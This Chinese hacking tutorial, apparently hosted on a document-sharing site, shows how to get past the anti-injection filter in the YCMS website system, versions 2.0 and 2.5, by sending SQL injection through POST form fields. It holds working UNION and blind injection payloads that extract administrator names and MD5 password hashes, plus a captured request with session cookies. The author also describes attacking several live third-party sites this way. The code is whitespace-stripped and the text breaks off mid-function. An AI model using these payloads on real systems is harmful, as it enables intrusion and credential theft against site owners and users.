突破“野草网站管理系统”的防注入_第1页
突破“野草网站管理系统”的防注入_第2页
突破“野草网站管理系统”的防注入_第3页
突破“野草网站管理系统”的防注入_第4页
突破“野草网站管理系统”的防注入_第5页
已阅读5页,还剩8页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

突破“野草网站管理系统”的防注入

一天,偶然路过一个网站,习惯性的在URL后加了一个单引号,返回的却是:“对不起!请不要在参数中包含非法字符尝试注入!”,哇!防止注入了,不过看其信息不像是“通用防注入”,那么这个网站采用的是什么程序呢?用下方的标识“PoweredByYCMSV2.0”在百度中搜了一下,原来是“野草网站管理系统v2.0”,顺藤摸瓜,找到“野草设计”官方网站,这里提供了最新的“YCMSV2.0”,嘿嘿!偶有事做了!先看一下“YCMSV2.0”是如何防注入的,在“CONN.ASP”中有这么一段代码:

functionyecaosql()

sql_in=split("'|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare","|")

ifrequest.querystring<>""then

foreachsql_getinrequest.querystring

forsql_data=0toubound(sql_in)

ifinstr(LCase(request.querystring(sql_get)),sql_in(sql_data))>0then

response.redirect("error.asp?action=back&text="&server.urlencode("对不起!请不要在参数中包含非法字符尝试注入!"))

Response.End

endif

next

next

endif

endfunction

瞧!注入所用到的“'”、“and”、“select”等字符全在黑名单上,难怪加入了单引号会出现错误,要想注入时不用这些字符,谈何容易!难道就这样撤?等等,在上面的代码中,“YCMSV2.0”防止的是“request.querystring”提交,这不就是一个BUG吗?在ASP中,“Request”对象有五种获取数据的方法:“QueryString”、“Form”、“Cookies”、“ServerVariables”和“ClientCertificate”,除了“ServerVariables”和“ClientCertificate”不太好利用之外,剩余的三个都经常活跃在注入代码中,而“YCMSV2.0”只过滤了以“QueryString”方法提交的数据,忽略了“Form”和“Cookies”这两个危险分子。嘿嘿!曙光出现了!

用“FrontPage”打开“YCMSV2.0”,在所有文件中查找“Request.form”字符,找到的不是太多,在分析这些代码时,我发现“YCMSV2.0”在获取数据时,大多用的是“request("参数")”方法,这种方法虽然通吃“QueryString”和“Form”,但因为“YCMSV2.0”只对“QueryString”方法进行了过滤,如果提交数据采用的是POST方式,那么“request("参数")”在获取数据时,用到的就是“FORM”方法,如此,不就绕过了“CONN.ASP”中的防注入了吗?按照这个思路,在“YCMSV2.0”中查找“request(”,哈哈,这一次搜索到结果就多了,从中挑出一个比较好利用的文件进行测试,在“user.asp”的581行有如下代码:

subuser_list()'用户列表

YC("<tableframe=""void""border=""1""width=""100%""cellspacing=""0""bordercolor="""&color(0)&"""rules=""rows""cellpadding=""0""align=""center""><trheight=""24""bgcolor="""&color(2)&"""><tdalign=""center"">用户信息</td><tdalign=""center"">注册时间</td></tr>")

ifrequest("search")<>""then

sql="select*from[YC_user]whereuser_namelike'%"&request("word")&"%'andpass=1orderbyidDESC"

else

sql="select*from[YC_user]wherepass=1orderbyiddesc"

endif

setrs=server.createobject("adodb.recordset")

rs.opensql,conn,1,1

ifnotrs.bofandnotrs.eofthen

rs.pagesize=20

i=1

…………

pages=rs.pagecount

rs.absolutepage=mypage

dowhilenotrs.eof

YC("<trheight=""24""bgcolor="""&color(1)&"""onmouseover=""this.bgColor='"&color(2)&"';""onmouseout=""this.bgColor='"&color(1)&"';""><tdwidth=""60%""><ulclass=""list""><li>")

YC(" <ahref=""?action=show_user_data&user="&rs("user_name")&"""title=""查看["&rs("user_name")&"]的资料"">"&rs("user_name")&"</a> <ahref=""?action=user_sms_send&user="&rs("user_name")&"""title=""发送短信给["&rs("user_name")&"]"">[短信]</a></li></ul></td>")

YC("<tdwidth=""20%"">"&replacetime(rs("user_reg_date"),"3")&"</td></tr>")

…………

rs.close

setrs=nothing

endsub

这里不仅用到了“request("参数")”,而且其还会显示查询的结果,像这样的注入,现在已经不多见了,想不到让偶碰到了,呵呵!先来分析一下流程,如果“request("search")”不为空,就执行以“request("word")”为条件的查询语句,否则,直接显示用户列表。用“Winsock”抓取查询“会员列表”时的数据,发现采用的是GET方式,且“request("search")”和“request("word")”均未出现,既然程序不给提交,那咱就手动提交,在本地构造一个“USER.HTM”文件,内容如下:

<formname="form"method=postaction="/yecao/user.asp?action=user_list">

<br>注入语句:<inputname="word"type="text"style="width:75%"value="用户名">

<inputname="search"type="hidden"value="未知">

<inputname="submit"type="submit"value="查询"></form>

运行后的页面如图1,(jmdcw)(jmdcw)(jmdcw)将其中提交的“用户名”更改为“用户名%'or1like'%1”,点“查询”后打开的页面如图2,(jmdcw)(jmdcw)没有出现防注入提示,太好了,下面就利用这段代码的显示功能来显示数据库中的某些信息,有请“UNION”登场。在输入“union”语句之前,先查一下“[yc_user]”表中的字段数,共有23个,按照这个数目,构造的union语句就是:

用户名%'unionselect1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23from[yc_user]where1like'%1

运行后如图3,(jmdcw)(jmdcw)只显示了一条信息,其中的“用户名”为“2”,说明union语句中的第二个字段可以显示,将上面的union中的“2”替换为“user_pass”,执行后的结果如图4,所有用户的MD5值全部显示出来了,(注:因为有两个用户的密码是相同的,所以显示的就只有三个)。(jmdcw)(jmdcw)在测试了几次后,发现无论是显示“user_name”还是“user_pass”都是按升序排列,且重复的数据还不显示,这样用户名与密码两者的次序就无法对应,由此也就不能一次拿到多人的MD5值了。拿不到多人的MD5值没关系,只要我们能得到管理员的MD5就行。OK,先来查询前台管理员的MD5值,更改union语句如下:

用户名%'unionselect1,user_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23from[yc_user]whereuser_admin='3'and1like'%1

加入“YCMSV2.0”区分“普通用户”与“管理员”的条件“user_admin”,如果值为“3”则是前台管理员,如果为“1”则代表普通用户。执行后的结果如图5,(jmdcw)(jmdcw)得到了前台管理员的名单,接下来更改union语句为:

用户名%'unionselect1,user_pass,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23from[yc_user]whereuser_name='123456'and1like'%1

这次所显示的就是指定用户名的MD5值了。如图6,好长的MD5值,足足有40位,不过不要被它的长度吓倒了,这段MD5是由“c+a+b+c+d”这5段组成,去掉前面的c段8位,再去掉a段和d段,剩下的b段和c段就只有16位了,用MD5暴破工具破解这16位MD5就可以了。(jmdcw)(jmdcw)

下面来查询后台的管理员名称及密码,同样,在后台管理员表[yc_admin]中,也有一个字段来区分“超级管理员”与“普通管理员”,这个字段的名称是“admin_type”,其值为1代表该用户是超级管理员,为0则代表普通管理员。根据这个条件,构造出的查询后台超级管理员的union语句如下:

用户名%'unionselect1,admin_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23from[yc_admin]whereadmin_type=1unionselect*from[yc_user]where1like'%2

不知大家注意到没有,我在上面的代码中又增加了一条union语句,并且其的条件是“1like2”,这是为什么呢?回头看一下“用户列表”处的代码,其中Select语句的条件中有这么一个“andpass=1”,这个Pass是“[yc_user]”表中的字段,而我们要查询的[yc_admin]表中是没有pass字段的,所以就要再加入一条“union”语句进行匹配,而其后的条件表达式为假,是为了排除无关的显示,这条执行的结果如图7。有了名称,接下来的密码获取就和获取前台管理员密码的方法一样了,大家试着写一下吧!

(jmdcw)

本地突破成功,顺手测试了一些采用“YCMSV2.0”的网站,屡试屡爽!那么官方是否也有这个漏洞呢?很不幸,官方网站是“YCMSV2.5”,NOBUG!为什么“YCMSV2.5”没有这个漏洞呢?我想不是因为它弥补了防注入漏洞,而在于其取消了“用户列表”功能。那么在“YCMSV2.5”中,都有那些地方使用POST方式提交数据呢?经过一番点击,发现“短信”及“留言”这两个地方的嫌疑最大,OK,先从“短信”入手,在“YCMSV2.0”版的“user.asp”第820行处找到了如下代码:

subpost_user_sms()'发送短信处理

checkgetcode()

ifrequest("to_user")<>""andrequest("content")<>""then

to_user=trim(request("to_user"))

sql="select*fromYC_userwhereuser_name='"&to_user&"'"

setrs=conn.execute(sql)

ifrs.eofandrs.bofthen

response.redirect("error.asp?action=back&text="&server.urlencode("对不起!数据库中没有该用户!"))

Response.End

else

setrs=server.createobject("adodb.recordset")

sql="select*fromYC_sms"

rs.opensql,conn,1,3

rs.addnew

rs("from_user")=trim(request("from_user"))

rs("to_user")=trim(request("to_user"))

rs("title")=trim(request("title"))

rs("content")=request("content")

rs.update

YC("<script>window.location='index.asp';</script>")

endif

endif

endsub

“to_user”——短信发送对像,不知能否发给自已呢?打开用户“控制面板”中的“发短信”窗口,在“接收人”处输入自已的用户名“5200”,结果出现了“不允许自己给自己发信件”的提示,那就发给一个不存在的用户“jmdcw”,在发送之前,用“Winsock”监听当前页,再点击“发送”,虽然出现的是“对不起!数据库中没有该用户!”提示,但“Winsock”已经抓到了短信发送时的“POST”数据:

POST/yecao/user.asp?action=post_user_smsHTTP/1.1

Accept:image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,application/x-shockwave-flash,application/vnd.ms-powerpoint,application/vnd.ms-excel,application/msword,*/*

Referer:/yecao/user.asp?action=user_sms_send

Accept-Language:zh-cn

Content-Type:application/x-www-form-urlencoded

Accept-Encoding:gzip,deflate

User-Agent:Mozilla/4.0(compatible;MSIE6.0;WindowsNT5.1;SV1;Maxthon)

Host:

Content-Length:95

Connection:Keep-Alive

Cache-Control:no-cache

Cookie:YCMS=userpass=97a55a51a100a100a55a49a97a52a56a51a50a54a102a99a98a100a55a49a50a101a98a56a99a56a97a51a99a100a49a100a57a52a56a51a50a54a102a99a98&username=29484a21050&useradmin=49&userid=54a49;YCMSonline=onlineid=127001;YCMStongji=True;ASPSESSIONIDAQBQTTDC=CMMBANMCLINECBIECDEIHAHK

to_user=jmdcw&title=zhuti&content=neirong&code=2830&Submit=%B7%A2+%CB%CD&from_user=%B4%CC%E2%AC

将抓到的数据先分门别类的填入偶的“POST提交工具”中。在前面给自已发短信时,程序虽然出现了限制提示,但这种限制是在本地的HTM中进行的,并不是在服务器中验证,所以还是可以给自已发短信的,将“提交内容”中“to_user=jmdcw”改为“to_user=5200'+and+1=1+and''='”,如果想使用不存在的用户“jmdcw”,那么就是“to_user=jmdcw'+or+1=1+and''='”,两者返回的信息是一样的,还有一点就是刷新“短信发送页”,用新的“验证码”替换“提交内容”中的“code”值,执行后的结果如图8。(jmdcw)(jmdcw)再来测试1=2的效果,将to_user的内容更改为to_user=5200'+and+1=2+and''=',这次执行后的结果如图9,(jmdcw)(jmdcw)

瞧!“1=1”和“1=2”所返回的信息明显不同,如果将条件表达式改为select语句不就可以猜解数据库中的信息了吗?OK,到“YCMSV2.5”中测试。进入“用户中心”,选择“站内短信管理”中的“发短信”,和在本地测试时的方法一样,输入一个不存在的用户名“jmdcw”,然后用“Winsock”抓取POST数据,将抓到的数据填入“POST提交工具”中,然后修改to_user值为:52cc0'+and+1=1+and''=',并更改验证码为刷新后的,执行后所返回的信息是:(jmdcw)★

<head><title>Objectmoved</title></head><body><h1>ObjectMoved</h1>Thisobjectmaybefound<aHREF="?action=sms_from">here</a>.</body>

更改条件“1=1”为“1=2”,这次执行后返回的信息是:

<head><title>Objectmoved</title></head><body><h1>ObjectMoved</h1>Thisobjectmaybefound<aHREF="error.asp?action=back&text=%E5%AF%B9%E4%B8%8D%E8%B5%B7%EF%BC%81%E6%95%B0%E6%8D%AE%E5%BA%93%E4%B8%AD%E6%B2%A1%E6%9C%89%E8%AF%A5%E7%94%A8%E6%88%B7%EF%BC%81">here</a>.</body>

★(jmdcw)

两次返回的信息也不相同,由此看来,“YCMSV2.5”也未对POST提交进行过滤,接下来就是用“select”语句进行测试了,将提交内容中的“to_user”的值改为:“52cc0'and+(select+asc(mid(user_name,1,1))from[yc_user]where+user_name='52cc0')=53+and''='”,判断用户名“52cc0”的第一个字符的ASC值是否为53,但执行后返回的却是错误信息,这是怎么回事?思来想去,忽然看到网站下方的版权“PoweredByYCMS”,难道v2.5版的表名与v2.0的表名不一样?将[yc_user]更改为[ycms_user],再次提交,嘿嘿,这次返回的就和1=1所返回的信息一样了。接下来只要更改其中的表名、字段名及条件就可以进一步的猜测了,只要有信心,管理员的MD5值也是能拿到的,偶嫌麻烦,再者目的也达到了,就到此为此吧!

测试完“短信”页面,偶又测试了“留言”页面,发现其中的“编辑留言主题”和“编辑回复留言”两个地方同样可以暴力猜解,原理和方法与短信中的BUG是一样的,这里就不赘述了。

上面介绍的两个注入点是针对“request.form”方法的,那么修改“Cookies”是否也可以注入呢?经过一番测试,发现只要修改了“Cookies”中的“username”、“userid”、“userpass”这其中任一个值,就会出现“系统无法识别您的身份”提示。这是怎么回事?仔细分析相关代码,原来只要“checklogined()=false”就会出现这种提示,那么在什么情况下“checklogined()=false”呢?在“function.asp”中有这么一段代码:

functionchecklogined()

…………

iflogined=truethen

sql="selectid,user_name,user_pass,user_adminfrom[YC_user]wherepass=1andid="&userid&""

setrs=conn.execute(sql)

ifrs.eofandrs.bofthen

logined=fal

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论